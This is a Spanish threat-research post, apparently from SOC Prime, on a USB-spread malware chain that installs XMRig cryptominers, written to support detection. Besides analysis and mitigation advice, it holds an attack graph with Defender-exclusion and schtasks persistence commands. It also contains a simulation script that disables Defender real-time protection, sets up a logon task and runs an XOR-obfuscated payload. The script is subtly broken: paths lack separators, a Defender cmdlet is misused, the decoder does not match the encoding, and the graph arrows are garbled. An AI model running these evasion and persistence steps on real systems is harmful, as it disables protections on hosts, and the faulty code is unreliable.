SOC Prime Bias: Medio

02 Dic 2025 20:53

DIRTYBULK y Amigos: Malware USB Impulsando Operaciones de Minería de Criptomonedas

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
DIRTYBULK y Amigos: Malware USB Impulsando Operaciones de Minería de Criptomonedas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe detalla una campaña de infección impulsada por USB que utiliza archivos de acceso directo maliciosos para entregar una cadena de malware de múltiples etapas para la minería de criptomonedas. La ejecución inicial carga un DLL llamado printui.dll desde un directorio falso de System32, luego entrega un dropper (CUTFAIL) que despliega un downloader (HIGHREPS) y un backdoor (PUMPBENCH). El backdoor PUMPBENCH se comunica con un servidor PostgreSQL para obtener cargas útiles adicionales y, finalmente, lanza los mineros XMRig. La operación mantiene la persistencia mediante exclusiones de Windows Defender, tareas programadas y servicios fraudulentos.

Análisis

Los investigadores de Mandiant deconstruyeron la cadena de ataque y destacaron cuatro familias de malware principales: DIRTYBULK, CUTFAIL, HIGHREPS y PUMPBENCH. Capturaron los patrones de nombres de archivo de los actores, el abuso de carga lateral de DLL de printui.dll, los cambios de registro e indicadores de red asociados. El análisis también trazó técnicas de persistencia, incluyendo tareas programadas y servicios vinculados al Grupo de Servicios DCOMLaunch.

Mitigación

Las defensas recomendadas incluyen bloquear la ejecución de archivos de acceso directo que se originan en medios extraíbles, monitorear los comandos que agregan exclusiones de Windows Defender, detectar actividad sospechosa de carga lateral de printui.dll y buscar servicios o tareas programadas que usen nombres aleatorios de seis dígitos. Aplicar controles de red contra dominios maliciosos conocidos y resolutores de DoH puede limitar aún más los canales de comando y control.

Respuesta

Una vez detectado, aísle el host impactado, elimine el DLL malicioso y sus componentes relacionados, elimine la tarea programada ofensiva y las entradas de servicio, y restablezca la configuración de Windows Defender limpiando las exclusiones. Realice un escaneo forense exhaustivo para descubrir cargas útiles residuales y rastrear conexiones a la infraestructura C2 de PostgreSQL identificada. Finalmente, actualice el contenido de detección para cubrir el uso observado de la línea de comandos y comportamientos de creación de archivos.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Initial infection via removable media node_usb_insert[«<b>Acción</b> – <b>T1674 Inyección de Entrada</b>: La víctima inserta un USB que contiene un acceso directo malicioso»] class node_usb_insert action node_lnk[«<b>Archivo</b> – <b>Acceso Directo Malicioso</b> (USB Drive.lnk)»] class node_lnk file node_wscript[«<b>Herramienta</b> – <b>wscript.exe</b>: Ejecuta VBScript»] class node_wscript tool node_vbs[«<b>Archivo</b> – <b>VBScript</b> (x??????.vbs)»] class node_vbs file node_shortcut_mod[«<b>Acción</b> – <b>T1547.009 Modificación de Accesos Directos</b>: El LNK se utiliza para persistencia»] class node_shortcut_mod action %% Masquerading and side‑loading node_masq_dir[«<b>Archivo</b> – <b>Directorio Falso</b> C:\\Windows\\System32 (con espacio final)»] class node_masq_dir file node_printui_exe[«<b>Proceso</b> – <b>printui.exe</b> (legítimo)»] class node_printui_exe process node_printui_dll[«<b>Archivo</b> – <b>printui.dll</b> (malicioso)»] class node_printui_dll file node_dll_hijack[«<b>Acción</b> – <b>T1574.001 Secuestro del Flujo de Ejecución: DLL</b>»] class node_dll_hijack action %% Defense evasion via PowerShell profile node_ps_exclusion[«<b>Comando</b> – Add‑MpPreference -ExclusionPath \»C:\\Windows \»»] class node_ps_exclusion command node_ps_profile[«<b>Acción</b> – <b>T1546.013 Perfil de PowerShell</b>: Ejecuta el comando de exclusión»] class node_ps_profile action %% Persistence through service and scheduled task node_service_create[«<b>Acción</b> – <b>T1543.003 Crear Servicio de Windows</b>»] class node_service_create action node_service[«<b>Servicio</b> – <b>123456</b> creado bajo DcomLaunch con ServiceDll»] class node_service service node_scheduled_task[«<b>Comando</b> – schtasks /create /tn \»console_zero\» /sc ONLOGON /tr \»C:\\Windows\\System32\\console_zero.exe\» /rl HIGHEST /f»] class node_scheduled_task command node_task_action[«<b>Acción</b> – <b>T1037.001 Script de Inicio de Sesión</b>: Ejecuta console_zero.exe al iniciar sesión el usuario»] class node_task_action action %% C2 resolution via DoH and fast flux node_doh[«<b>Herramienta</b> – Consultas DNS‑over‑HTTPS a dns.google»] class node_doh tool node_fastflux[«<b>Acción</b> – <b>T1568.001 DNS Fast Flux</b> y <b>T1568.003 Cálculo DNS</b>»] class node_fastflux action %% Resource hijacking – cryptocurrency mining node_xmrig[«<b>Malware</b> – Minero XMRig»] class node_xmrig malware node_mining[«<b>Acción</b> – <b>T1496.001 Secuestro de Recursos</b>: Criptominería en el host comprometido»] class node_mining action %% Connections node_usb_insert u002du002du003e|contiene| node_lnk node_lnk u002du002du003e|ejecuta| node_wscript node_wscript u002du002du003e|ejecuta| node_vbs node_vbs u002du002du003e|crea directorio de suplantación| node_masq_dir node_vbs u002du002du003e|copia ejecutable legítimo| node_printui_exe node_vbs u002du002du003e|reemplaza la DLL por una versión maliciosa| node_printui_dll node_printui_exe u002du002du003e|carga| node_dll_hijack node_dll_hijack u002du002du003e|carga DLL maliciosa| node_printui_dll node_printui_dll u002du002du003e|dispara| node_ps_exclusion node_ps_exclusion u002du002du003e|ejecutado mediante| node_ps_profile node_ps_profile u002du002du003e|crea| node_service_create node_service_create u002du002du003e|crea| node_service node_service u002du002du003e|habilita| node_scheduled_task node_scheduled_task u002du002du003e|se ejecuta al iniciar sesión| node_task_action node_task_action u002du002du003e|descarga dirección C2 mediante| node_doh node_doh u002du002du003e|usa| node_fastflux node_fastflux u002du002du003e|proporciona dirección para| node_xmrig node_xmrig u002du002du003e|ejecuta| node_mining

Flujo de ataque

Ejecución de simulación

Requisito previo: la verificación previa de telemetría y línea base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.

  • Narrativa de ataque y comandos:

    1. Etapa 1 – Desplegar VBScript malicioso en la unidad USB comprometida (por ejemplo, E:payload.vbs). El script desactiva la protección en tiempo real de Windows Defender usando Add-MpPreference, cifra una carga útil con una rutina XOR, y crea una tarea programada para la persistencia.

    2. Etapa 2 – Ejecutar el script mediante wscript.exe pasando directamente la línea de comando de persistencia (para satisfacer la condición conjuntiva de la regla).

    3. Etapa 3 – El script invoca internamente PowerShell para ejecutar la carga útil cifrada, demostrando la «cadena de infección».

    4. Etapa 4 – Después de la ejecución, el atacante limpia los artefactos (elimina el script, borra la tarea programada).

  • Script de prueba de regresión:

    # ------------------------------------------------------------
    # Prueba de regresión – Simulación de cadena de infección de malware
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Crear carga útil cifrada con XOR dummy --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Escribir VBScript malicioso -------------------------------------------
    @"
    ' VBScript malicioso – cadena de infección
    Set sh = CreateObject("WScript.Shell")
    ' Desactivar la protección en tiempo real
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Crear tarea programada para persistencia
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Descifrar y ejecutar carga útil
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Ejecutar el script mediante wscript.exe (dispara la regla) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Opcional) Esperar unos segundos para que la tarea se active ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Limpieza – eliminar script y tarea programada
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Comandos de limpieza:

    # Eliminar tarea programada residual (si aún está presente)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Eliminar cualquier archivo de script residual
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Habilitar nuevamente la protección en tiempo real
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"